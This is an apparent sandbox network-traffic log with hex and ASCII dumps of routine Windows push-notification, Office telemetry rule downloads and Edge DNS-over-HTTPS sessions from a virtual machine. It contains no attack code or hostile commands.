2024-11-27 10:14:41 UTC	1390	IN	Data Raw: c1 c2 b3 df 74 6f 40 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 Data Ascii: to@Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49832	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:41 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 72 4f 39 74 71 59 44 50 48 6b 36 67 66 47 4e 6d 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 32 33 36 32 64 32 66 34 31 65 61 65 31 30 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: rO9tqYDPHk6gfGNm.1Context: 42362d2f41eae109
2024-11-27 10:14:41 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-27 10:14:41 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 72 4f 39 74 71 59 44 50 48 6b 36 67 66 47 4e 6d 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 32 33 36 32 64 32 66 34 31 65 61 65 31 30 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 5a 33 67 4a 6a 56 2b 4c 6c 52 52 4f 35 34 6f 43 36 51 42 74 34 30 36 63 61 52 58 54 66 66 49 6b 43 4e 76 2b 39 4b 42 47 55 31 66 4d 62 30 6c 55 62 63 77 48 78 59 4c 76 49 49 6e 4d 78 64 6c 34 6a 6b 39 51 46 63 4c 67 35 61 4c 31 4b 45 42 6c 47 71 42 77 47 34 34 67 47 63 4a 67 55 62 37 67 44 34 65 41 69 55 52 78 69 4d 78 5a 6d Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: rO9tqYDPHk6gfGNm.2Context: 42362d2f41eae109<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAZ3gJjV+LlRRO54oC6QBt406caRXTffIkCNv+9KBGU1fMb0lUbcwHxYLvIInMxdl4jk9QFcLg5aL1KEBlGqBwG44gGcJgUb7gD4eAiURxiMxZm
2024-11-27 10:14:41 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 72 4f 39 74 71 59 44 50 48 6b 36 67 66 47 4e 6d 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 32 33 36 32 64 32 66 34 31 65 61 65 31 30 39 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: rO9tqYDPHk6gfGNm.3Context: 42362d2f41eae109<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-27 10:14:42 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-27 10:14:42 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 37 43 4d 49 41 50 4d 47 58 55 75 65 33 32 44 30 44 68 78 31 36 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 7CMIAPMGXUue32D0Dhx16w.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:42 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:42 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7af319f3-d01e-0017-6a91-3fb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101442Z-174f7845968nxc96hC1EWRspw80000000wh00000000054dv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:42 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:42 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:43 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: dd02da03-701e-001e-0d91-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101443Z-174f7845968nxc96hC1EWRspw80000000wkg0000000033ff x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:43 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49864	172.64.41.3	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 10:14:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-27 10:14:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 10:14:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e915a5708f0c45e-EWR alt-svc: h3=":443"; ma=86400
2024-11-27 10:14:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 05 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49865	172.64.41.3	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 10:14:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-27 10:14:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 10:14:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e915a571982439f-EWR alt-svc: h3=":443"; ma=86400
2024-11-27 10:14:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 dd 00 04 8e fb 23 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom#)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49871	162.159.61.3	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 10:14:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-27 10:14:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 10:14:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e915a572fb60f41-EWR alt-svc: h3=":443"; ma=86400
2024-11-27 10:14:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 27 00 04 8e fb 28 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom'()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	49870	162.159.61.3	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 10:14:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-27 10:14:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 10:14:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e915a572d544393-EWR alt-svc: h3=":443"; ma=86400
2024-11-27 10:14:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 af 00 04 8e fa 50 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPc)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	49874	162.159.61.3	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 10:14:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-27 10:14:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 10:14:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e915a571a2fc35f-EWR alt-svc: h3=":443"; ma=86400
2024-11-27 10:14:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 14 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49873	162.159.61.3	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 10:14:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-27 10:14:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 10:14:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e915a572df342f4-EWR alt-svc: h3=":443"; ma=86400
2024-11-27 10:14:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 c3 00 04 8e fa 48 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomHc)

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:42 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:43 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: f73eacfc-701e-0001-0b91-3fb110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101443Z-174f7845968n2hr8hC1EWR9cag0000000wag00000000aa3x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:43 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49848	13.107.246.63	443

